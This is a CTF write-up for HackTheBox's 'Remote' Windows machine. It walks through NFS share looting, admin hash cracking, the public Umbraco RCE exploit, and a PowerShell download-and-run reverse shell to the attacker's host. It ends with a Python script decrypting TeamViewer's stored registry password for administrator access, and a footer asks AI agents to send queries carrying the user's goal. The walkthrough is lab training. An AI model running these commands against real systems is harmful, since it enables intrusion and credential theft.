> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Remote HackTheBox Writeup

Remote HackTheBox Easy Windows machine writeup covering Web Enumeration, NFS Enumeration - Showmount, Information Leakage, Abusing Umbraco Admin Panel, with practical enumeration, exploitation, footho

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Skills**:

* Web Enumeration
* NFS Enumeration - Showmount
* Information Leakage
* Abusing Umbraco Admin Panel
* Umbraco CMS - Remote Code Execution by authenticated administrators
* Obtaining the TeamViewer password from the system registers (AES128 - CBC) (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9eb77a614ad5698c2e042cb0c6caea883f0b7bb%2Fimage%20(1262).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e77b5f90ce6e1e20fe2f3d10c74da8119e99279a%2Fimage%20(1263).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**/ Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cf1a734c3813af420126c6ddf017440e9b502ba%2Fimage%20(1264).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b6bb56d1a8757c7a5426b11e571ea31d39c5db%2Fimage%20(1265).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7de1110b8c04ddf485f4b65dcb265bfad0dfaf05%2Fimage%20(1266).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029aa827ce26fcf55e80e571620ff501d81b7711%2Fimage%20(1267).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ff079392de9e8d821bbca0dc3c61e505997b5c6%2Fimage%20(1269).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web (port 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efcf7874fba151e70cf8625204c695bf7ed26d00%2Fimage%20(1274).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fc75aac9b6174219d27b7c32e6d87cc3ba0a6ac%2Fimage%20(1270).png?alt=media" alt=""><figcaption></figcaption></figure>

### SMB - port 445

List **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb5a2740fe0b1db4532881c6c81084660cf29a0c%2Fimage%20(1271).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **SMB Client (null session) :**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c66627e0db7459b25b2c63779994cae7e9c157%2Fimage%20(1272).png?alt=media" alt=""><figcaption></figcaption></figure>

### FTP (21) anonymous

We have the ability to connect via FTP with the anonymous user, but we can neither list nor add files.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99d2b1c2173acfe5dfd52c0262923b39a7e23b37%2Fimage%20(1273).png?alt=media" alt=""><figcaption></figcaption></figure>

## NFS Service (port 2049)

{% hint style="info" %}
The Network File System (NFS) is an OSI application level protocol. It is used to create file systems distributed in a local network, allowing different connected systems to access remote files as if they were local.
{% endhint %}

To list the files with `mount`:

```bash
showmount -e 10.10.10.180
```

We see a `/site_backups` that can be seen by everyone.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3013ccfa8ce6a51ae041c36ba54599a3c9c4377d%2Fimage%20(1275).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

To import this file, you have to create a directory and mount it on our machine as follows:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a0b12cd5a2e1bb19524f08a2de43fbc8ee96b3%2Fimage%20(1276).png?alt=media" alt=""><figcaption></figcaption></figure>

With `tree`, we will list all the folders in the frame to get an idea:

```
tree -L 2
```

We see a `.config` configuration and `sdf` folder from the Umbraco database (a CMS) of port 80.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15f7a5e695cdb9ff15972b563fbc06db4593708%2Fimage%20(1278).png?alt=media" alt=""><figcaption></figcaption></figure>

The `.conf` file contains nothing interesting, and the `umbraco.sdf` is a binary file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22c1ff968b7c2ee0c6041d3797c74d133384b944%2Fimage%20(1279).png?alt=media" alt=""><figcaption></figcaption></figure>

We will use `strings` to display the visible characters and put them in our directory for detailed analysis:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

We find "admin" passwords and a "smith" user.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1056720a69f7d25bd03de7388a145be0c72ee493%2Fimage%20(1281).png?alt=media" alt=""><figcaption></figcaption></figure>

### Password cracking:

Admin (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd715af91b9c490b397e793de31930e9b7b5a09%2Fimage%20(1282).png?alt=media" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### Since SMB is exposed, use CrackMapExec to authenticate and validate access

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### aucun effet

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dabd6349cdd6766e470751ab3fd107c4cfaa356%2F%7B9A568C00-E4DD-4EBF-B476-5DF9D0C1C44A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability RCE (Umbraco CMS)

We find an administration panel and will try the admin user authentication:

`admin@htb.local:baconandcheese`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22e4c3037bbc2ea43e9427f33176d04d20f14bec%2F%7B382433B0-312E-419C-A5C0-176F5F8BF31F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We have access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0695a07f5d3034450976414deb97ff9e30b6e41c%2Fimage%20(1283).png?alt=media" alt=""><figcaption></figcaption></figure>

We will search `Searchsploit` for the vulnerabilities of this CMS and find an NCE script for Umbraco.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4861f5edf285f8ed06657d0527b9dd92c4af4c1b%2Fimage%20(1284).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

We will change login, password and host settings in the script.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66f812a30c825a01f92d3bad53550e2471cfb4de%2Fimage%20(1288).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Check connectivity with ping:**/ We will execute this command for the server, and we will listen with tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29956d5cf155c3ffdbf55eeb11db81f4c92b6b63%2Fimage%20(1290).png?alt=media" alt=""><figcaption></figcaption></figure>

Once we see that we can execute commands, we will download the `PS.ps1` script to our team.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

At the end of the script, we add the following line:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c334d136657545563678f55753a2341b710a2d44%2Fimage%20(1291).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

We will create a web server with the `PS.ps1` script:

```bash
python3 -m http.server 80
```

Then we will modify the command to point to our web server:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Finally, we listen to port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3fd51dbd5bf6ae4f920c68f20579e60c91d281f%2Fimage%20(1292).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Access to `user.txt` file and finding that TeamViewer is installed

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2495988c926b68ba82fa48f54642d952030b8ff3%2Fimage%20(1293).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation:

If you look at the tasks running, you can see TeamViewer version 7.

```powershell
tasklist /svc
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ac905888e45a0e531118380c96ee7441adad4c7%2Fimage%20(1255).png?alt=media" alt=""><figcaption></figcaption></figure>

Searching the Metasploit scripts, we find one that can retrieve TeamViewer's password:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6577ee0c3a024fc9d67c3f0b25dcbbd77b5816b0%2Fimage%20(1256).png?alt=media" alt=""><figcaption></figcaption></figure>

When analyzing the script, you must first obtain the key (depending on the version) from the registry:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

Next, the security properties should be examined, especially the AES password:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69a735ebeb72f9e681e299b4035dcb194e3e4832%2Fimage%20(1257).png?alt=media" alt=""><figcaption></figcaption></figure>

Put the following bytes into `ciphertext`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Script Python Automatisation:

Here is the script that automates the whole process:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e5bfb9ed51c96619042331386a7f15a0b76af2f%2Fimage%20(1258).png?alt=media" alt=""><figcaption></figcaption></figure>

The password is `!R3m0te!`.

We will check with CrackMapExec if the password is correct for the user `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8533576997d311288c461c31dacc668ac6ce10f%2Fimage%20(1259).png?alt=media" alt=""><figcaption></figcaption></figure>

We connect with Evil-WinRM, as the remote Windows administration service is active on port 5985:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae1f3a6bf95f3b368137fa0996381b6dd29dc8f5%2Fimage%20(1260).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root Final :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27e43b784ae306b73d668a712ced88bacbc13dfd%2Fimage%20(1261).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fbc44f23ca7f30bd5e77ffa2d7d90304d0de1ef0%2F%7B39DC4A55-52D4-4DB7-B206-C48C813FBAE9%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
